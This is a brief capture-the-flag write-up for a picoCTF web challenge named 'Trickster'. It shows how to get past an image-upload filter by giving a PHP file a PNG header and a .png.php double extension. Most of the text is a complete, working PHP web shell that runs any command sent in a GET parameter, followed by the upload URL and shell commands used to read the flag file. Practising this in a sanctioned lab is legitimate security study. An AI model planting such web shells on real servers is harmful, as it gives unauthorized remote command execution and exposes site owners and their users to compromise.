# Trickster

June 5, 2026

Description

I found a web app that can help process images: PNG

solution

create a file with name (untitle.png.php)
edit this file

PNG
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>

upload this png file and type http://atlas.picoctf.net:58157/uploads/untitled.png.php
RUN

ls -al
ls -al /var/www/html
cat /var/www/html/GAZWIMLEGU2DQ.txt